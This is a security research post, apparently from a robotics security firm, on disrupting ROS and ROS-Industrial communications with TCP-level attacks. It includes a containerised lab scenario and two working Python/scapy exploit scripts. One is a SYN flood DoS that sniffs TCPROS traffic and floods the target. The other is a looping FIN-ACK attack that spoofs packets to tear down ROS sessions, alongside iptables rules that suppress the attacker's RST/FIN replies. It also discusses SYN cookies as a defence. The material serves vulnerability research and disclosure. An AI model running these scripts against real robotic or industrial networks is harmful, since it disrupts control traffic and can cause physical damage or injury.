Disrupting ROS and ROS-Industrial communications by attacking underlying network protocols

ROS is rapidly spreading and its use growing beyond academy. ROS-Industrial
project (ROS-I for short) is the best example. It is an open-source initiative that extends the advanced capabilities of ROS software to industrial relevant hardware and applications. Spearheaded by the ROS-Industrial consortium, its deployment in industry is nowadays a reality. The consortium has more than 80 members and its gatherings in Europe, USA and Asia bring together hundreds of robotics experts every year. With the growing use in industry, security must become a first concern but unfortunately we're seeing a slower-than-desired security awareness and more importantly, the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations[1]. This is incorrect.

the wrong message is being sent by some players indicating that ROS can be used securely with their recommendations[1:1].

ROS-Industrial software builds on top of ROS packages which also build on top of traditional networking protocols of OSI layers 3 and 4. It's not uncommon to find ROS deployments using IP/TCP in the Network and Transport levels of the communication stack. It must be noted that contrary to what some believe, a ROS system is not just vulnerable to attack vectors that target the ROS computational graph or the ROS-Industrial packages [2]. All its underlying abstractions need to be equally considered. As pointed out, ROS setups could suffer from threats coming from OSI layers 3 and 4, as it's common in the IT world (refer to this article for reading more about IT). Moreover, besides establishing perimeters with the cloud, one should consider threats that come from the inside, including the controllers or the control stations, both common elements on industrial scenarios and which could be used as entry points for targeting robots.

For the purpose of further testing the limits of these underlying layers and its impact in ROS, this article aims to illustrate the consequences that some simple attacks targeting these underlying network protocols could have. The first one performs a SYN-ACK DoS flooding attack. The second uses a FIN-ACK attack which aims to disrupt network activity by saturating bandwidth and resources on stateful interactions (i.e. TCPROS sockets).

The attacks proposed below leverage the lack of authentication in the ROS computational graph previously reported in other vulnerabilities of ROS including RVD#87 or RVD#88. Protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem.

Preparing the attacks

In order to prepare these attacks and experiment with lower-level abstractions in the networking stack, I contributed to alurity's robosploit module with a ROSTCP package dissector (and crafter) which is then used as a tool for developing these proof-of-concept attacks against ROS and ROS-Industrial deployments. In addition, it was required to configure the attacker's kernel to ignore certain types of network requests, so that it doesn't conflict with the attacking activity. The scenario uses targets running ROS Melodic Morenia in Ubuntu 18.04 and can be reproduced using the following alurity YAML file:

Simulation of target environment (requires alurity)

############
# Networks
############
networks:

  - network:
    - name: rosnet
    - driver: overlay
    # - internal: false
    - encryption: false
    - subnet: 12.0.0.0/24

############
# Containers
############
containers:
  - container:
    - name: rosmachine
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - network:
           - rosnet
    - ip:
      - 12.0.0.2  # fixed ip for prototyping
    # - sysctls:
    #   - net.core.somaxconn=128
    #   - net.ipv4.tcp_syncookies=0
    #   - net.ipv4.tcp_max_syn_backlog=128
    #   - net.ipv4.tcp_abort_on_overflow=1
    #   - net.ipv4.tcp_synack_retries=5


  - container:
    - name: attacker
    - modules:
         - base: registry.gitlab.com/aliasrobotics/offensive/alurity/comp_ros:melodic-scenario
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/fore_wireshark:latest
         - volume: registry.gitlab.com/aliasrobotics/offensive/alurity/expl_robosploit/expl_robosploit:latest
         - network:
           - rosnet
    - extra-options: NET_ADMIN


####################
# Flow
####################
flow:
  # rosmachine
  - container:
    - name: rosmachine
    - window:
      - name: ros
      - commands:
        - command: "source /opt/ros/melodic/setup.bash"
        # - command: "roslaunch roscpp_tutorials talker_listener.launch"
        - command: "roscore"
        - split: horizontal
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "sleep 10"
        - command: "rostopic echo /chatter"
        - split: horizontal
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "sleep 10"
        - command: "rostopic hz /chatter"


  # attacker
  - container:
    - name: attacker
    - window:
      - name: setup
      - commands:
        - command: "wireshark -i eth0 . &"
        - split: horizontal
        - command: "apt-get update && apt-get install -y tcpdump iptables"
    - window:
      - name: attack
      - commands:
        # - command: "sleep 10"  # wait until roscore is ready
        # - command: "source /opt/ros/melodic/setup.bash"
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        # - command: "rostopic echo /chatter"
        # - split: horizontal
        # - command: "source /opt/ros/melodic/setup.bash"
        # - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        # # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        # - command: "cd /home/alias"
        - command: "source /opt/ros/melodic/setup.bash"
        - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages\""
        # - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        - command: "cd /home/alias"
        - command: "sleep 10"  # wait until roscore is ready
        # - command: 'rostopic pub /chatter std_msgs/String "Attacker publishing" -r 1'
        - command: "/opt/ros/melodic/lib/roscpp_tutorials/talker"
        - split: horizontal
        - command: "sleep 10"  # wait until tools have been installed and roscore
        - command: "source /opt/ros/melodic/setup.bash"
        - command: 'export ROS_MASTER_URI="http://12.0.0.2:11311"'
        - command: "export PYTHONPATH=\"/opt/ros/melodic/lib/python2.7/dist-packages:/opt/robosploit/lib/python3.6/site-packages\""
        - command: "cd /home/alias"
        - command: "iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags RST RST -j DROP"
        - command: "iptables -I OUTPUT -s 12.0.0.4 -p tcp --tcp-flags FIN FIN -j DROP"
        # - command: "iptables -I INPUT -s 12.0.0.2 -p tcp --tcp-flags RST RST -j DROP"
        # - command: "python3 syn_flood_dos.py"
        - command: 'python3 fin_ack_dos.py'
    - select: attack

SYN-ACK DoS flooding attack for ROS

A SYN flood is a type of OSI Level 4 (Transport Layer) network attack. The basic idea is to keep a server busy with idle connections, resulting in a a Denial-of-Service (DoS) via a maxed-out number of connections. Roughly, the attack works as follows:

  • the client sends a TCP SYN (S flag) packet to begin a connection with a given end-point (e.g. a server).
  • the server responds with a SYN-ACK packet, particularly with a TCP SYN-ACK (SA flag) packet.
  • the client responds back with an ACK (flag) packet. In normal operation, the client should send an ACK packet followed by the data to be transferred, or a RST reply to reset the connection. On the target server, the connection is kept open, in a SYN_RECV state, as the ACK packet may have been lost due to network problems.
  • In the attack, to abuse this handshake process, an attacker can send a SYN Flood, a flood of SYN packets, and do nothing when the server responds with a SYN-ACK packet. The server politely waits for the other end to respond with an ACK packet, and because bandwidth is fixed, the hardware only has a fixed number of connections it can make. Eventually, the SYN packets max out the available connections to a server with hanging connections. New sockets will experience a denial of service.

A proof-of-concept attack was developed on the simulated target scenario (above) to isolate communications. The attack exploit is displayed below:

"""
SYN-ACK DoS attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
"""

import sys
from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from operator import itemgetter 

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

print("Capturing network traffic...")
packages = sniff(iface="eth0", filter="tcp", count=20)
targets = {}
for p in packages[TCPROSBody]:
    # Filter by ip
    # if p[IP].src == "12.0.0.2":
    port = p.sport
    ip = p[IP].src
    if ip in targets.keys():
        targets[ip].append(port)
    else:
        targets[ip] = [port]

# Get unique values:
for t in targets.keys():
    targets[t] = list(set(targets[t]))

# Select one of the targets
dst_target = list(map(itemgetter(0), targets.items()))[0]
dport_target = targets[dst_target]

# Small fix to meet scapy syntax on "dport" key
#  if single value, can't go as a list
if len(dport_target) < 2:
    dport_target = dport_target[0]

p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"Alias Robotics SYN Flood DoS"
ls(p)
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4)

In many systems, attacker would find no issues executing this attack and would be able to bring down ROSTCP interactions if the target machine's networking stack isn't properly configured. To defend against this attack, a user would need to set up their kernel's network stack appropriately. In particular, they'd need to ensure that TCP SYN cookies are enabled. SYN cookies work by not using the SYN queue at all. Instead, the kernel simply replies to the SYN with a SYN-ACK, but will include a specially crafted TCP sequence number that encodes the source and destination IP address, port number and the time the packet was sent. A legitimate connection would send the ACK packet of the three way handshake with the specially crafted sequence number. This allows the system to verify that it has received a valid response to a SY cookie and allow the connection, even though there is no corresponding SYN in the queue.

FIN-ACK flood attack targeting ROS

The previous SYN-ACK DoS flooding attack did not affect hardened control stations because it is blocked by SYN cookies at the Linux kernel level. I dug a bit further and looked for alternatives to disrupt ROS-Industrial communications, even in in the presence of hardening (at least to the best of my current knowledge).

After testing a variety of attacks against the ROS-Industrial network including ACK and PUSH ACK flooding, ACK Fragmentation flooding or Spoofed Session flooding among others, assuming the role of an attacker I developed a valid disruption proof-of-concept using the FIN-ACK attack. Roughly, soon after a successful three or four-way TCP-SYN session is established, the FIN-ACK attack sends a FIN packet to close the TCP-SYN session between a host and a client machine. Given a TCP-SYN session established by ROSTCP between two entities wherein one is relying information of the robot to the other (running the ROS master) for coordination, the FIN-ACK flood attack sends a large number of spoofed FIN packets that do not belong to any session on the target server. The attack has two consequences: first, it tries to exhaust a recipient's resources – its RAM, CPU, etc. as the target tries to process these invalid requests. Second, the communication is being constantly finalized by the attacker which leads to ROS messages being lost in the process, leading to the potential loss of relevant data or a significant lowering of the reception rate which might affect the performance of certain robotic algorithms.

The following script displays the simple proof-of-concept developed configured for validating the attack in the simplified isolated scenario.

"""
FIN-ACK attack for ROS

DISCLAIMER: Use against your own hosts only! By no means myself or my employer Alias Robotics encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
"""

from scapy.all import *
from robosploit.modules.generic.robotics.all import *
from robosploit.core.exploit import *
from robosploit.core.http.http_client import HTTPClient
from scapy.layers.inet import TCP
from scapy.layers.l2 import Ether
import sys

# bind layers so that packages are recognized as TCPROS
bind_layers(TCP, TCPROS)

def tcpros_fin_ack():
    """
    crafting a FIN ACK interrupting publisher's comms
    """
    flag_valid = True
    targetp = None
    targetp_ack = None
    # fetch 10 tcp packages
    while flag_valid:
        packages = sniff(iface="eth0", filter="tcp", count=4)
        if len(packages[TCPROSBody]) < 1:
            continue
        else:
            # find first TCPROSBody and pick a target
            targetp = packages[TCPROSBody][-1]  # pick latest instance
            index = packages.index(packages[TCPROSBody][-1])
            for i in range(index + 1, len(packages)):
                targetp_ack = packages[i]
                # check if the ack matches appropriately
                if targetp[IP].src == targetp_ack[IP].dst and \
                        targetp[IP].dst == targetp_ack[IP].src and \
                        targetp[TCP].sport == targetp_ack[TCP].dport and \
                        targetp[TCP].dport == targetp_ack[TCP].sport and \
                        targetp[TCP].ack == targetp_ack[TCP].seq:
                    flag_valid = False
                    break

    if not flag_valid and targetp_ack and targetp:
        # Option 2
        p_attack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
            /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="FA", seq=targetp_ack[TCP].ack,
            ack=targetp_ack[TCP].seq)

        ans = sr1(p_attack, retry=0, timeout=1)

        if ans and len(ans) > 0 and ans[TCP].flags == "FA":
            p_ack =IP(src=targetp[IP].src, dst=targetp[IP].dst,id=targetp[IP].id + 1,ttl=99)\
                /TCP(sport=targetp[TCP].sport,dport=targetp[TCP].dport,flags="A", seq=ans[TCP].ack,
                ack=ans[TCP].seq + 1)
            send(p_ack)

while True:
    tcpros_fin_ack()

The following figure shows the result of the FIN-ACK attack on a targeted machine. Image displays a significant reduction of the reception rate and down to more than half (4.940 Hz) from the designated 10 Hz of transmission. The information sent from the publisher consists of an iterative integer number however the data received in the target under attack shows significant integer jumps, which confirm the package losses. More elaborated attacks could be built upon using a time-sensitive approach. A time-sensitive approach could lead to more elaborated attacks.


Through these experiments it was shown how control stations running Ubuntu 18.04 do not protect by default ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical [1:2] for securing ROS are of little use against targeted attacks, as demonstrated.

control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical [1:3] for securing ROS are of little use against targeted attacks, as demonstrated.

Certain ongoing hardening efforts for ROS Melodic [3] show a more promising approach to mitigate some issues but as indicated above, protecting ROS and ROS-Industrial robotic applications requires an end-to-end security approach and remains and open problem which won't be solved by solely passive hardening. My team at Alias Robotics has started testing a preliminary partial solution for protecting ROS Melodic with some clients which mixes hardening with a proactive defense approach, one that involves offensive actions. If you're interested to learn more or try it yourself, head to https://aliasrobotics.com/ris.php and reach out.


  1. Canonical, “Securing ROS robotics platforms,” Canonical, Tech. Rep., 2020 ↩︎ ↩︎ ↩︎ ↩︎

  2. Which mostly live in the Application (7th) layer of the OSI stack ↩︎

  3. R. Daruszka, J. L. Christopherson, R. Colvin, B. Erickson, D. Billing, D. Pace, E. Anderson, E. Pinto,F. Silverskär, J. Latten, K. Antonenko, K. Laevens, M. Cerri, M. Birch, M. Brijunas, M. Verbraak,M. Thompson, P. R. B, R. Jain, R. Thomas, T. Pietschmann, V. H. Pai, W. E. T. Iii, E. Pinnell, A. Pal,B. Hieber, T. Sjögren, J. Trigg, M. Woods, K. Karlsson, R. Costa, M. Saubier, S. Faber, and E. Pinnell,“Cis ros melodic benchmark v1.0.0,” https://workbench.cisecurity.org/benchmarks/5207, 2020,accessed: 2020-08-17. ↩︎